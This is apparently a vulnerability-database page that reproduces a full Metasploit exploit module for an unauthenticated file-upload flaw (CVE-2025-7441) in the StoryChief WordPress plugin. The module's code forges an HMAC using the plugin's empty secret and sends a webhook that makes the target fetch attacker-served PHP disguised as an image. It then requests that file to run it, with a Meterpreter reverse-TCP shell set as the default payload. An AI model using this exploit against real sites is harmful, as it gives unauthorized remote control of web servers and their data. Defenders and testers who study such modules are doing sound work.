METASPLOIT 9.8 CRITICAL

WordPress StoryChief Plugin Unauthenticated RCE_MSF:EXPLOIT-MULTI-HTTP-WP_PLUGIN_STORY_CHEF_FILE_UPLOAD-

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This module exploits an unauthenticated arbitrary file upload vulnerability in the StoryChief WordPress plugin use exploit/multi/http/wppluginstorycheffileupload msf exploitwppluginstorycheffileupload show targets ...targets... msf...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-HTTP-WP_PLUGIN_STORY_CHEF_FILE_UPLOAD-
Published Feb 19, 2026 at 18:59

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
vulnerability in the StoryChief WordPress plugin <= 1.0.42.

The plugin exposes a webhook endpoint at
/wp-json/storychief/webhook which accepts a forged HMAC.
Because the plugin uses an empty secret for HMAC validation,
attackers can compute a valid MAC and force WordPress to
download and store attacker-controlled PHP content inside
the uploads directory, resulting in remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'xpl0dec', # Original PoC
'Nayera' # Metasploit module
],
'References' => [
['CVE', '2025-7441'],
['EDB', '52422'],
['URL', 'https://github.com/Story-Chief/wordpress']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Target', {}]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
])
end

#
# Check Method
#
def check
return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
)

unless res && res.code == 200
return CheckCode::Safe('StoryChief REST namespace not found')
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
)

return CheckCode::Unknown('No response from webhook endpoint') unless res

return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404

CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
end

#
# Serve malicious PHP payload
#
def on_request_uri(cli, _req)
print_good("Serving malicious payload to #{cli.peerhost}")

php_payload = payload.encoded

send_response(
cli,
php_payload,
'Content-Type' => 'image/jpeg'
)

close_client(cli)
end

#
# Generate JSON body + HMAC
#
def generate_signed_body(remote_url)
body_hash = {
'meta' => {
'event' => 'publish'
},
'data' => {
'featured_image' => {
'data' => {
'sizes' => {
'full' => remote_url
}
}
}
}
}

json_body = JSON.generate(body_hash).gsub('/', '\\/')
signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)

body_hash['meta']['mac'] = signature
JSON.generate(body_hash)
end

#
# Attempt to trigger uploaded shell
#
def trigger_shell(filename)
now = Time.now

upload_path = normalize_uri(
target_uri.path,
'wp-content',
'uploads',
now.year.to_s,
format('%02d', now.month),
filename
)

print_status("Attempting to execute uploaded payload at #{upload_path}")

res = send_request_cgi(
'method' => 'GET',
'uri' => upload_path
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
end
end

#
# Main Exploit
#
def exploit
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
register_file_for_cleanup(payload_name)

print_status('Starting local HTTP server for payload hosting')

start_service(
'Uri' => {
'Path' => "/#{payload_name}",
'Proc' => proc { |cli, req| on_request_uri(cli, req) }
}
)

payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
print_status("Payload URL: #{payload_url}")

request_body = generate_signed_body(payload_url)

print_status('Sending malicious webhook request')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
'ctype' => 'application/json',
'data' => request_body
)

fail_with(Failure::Unreachable, 'No response from target') unless res

unless res.code == 200 && res.body.include?('permalink')
fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
end

print_good('Webhook accepted payload — attempting execution')

trigger_shell(payload_name)
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.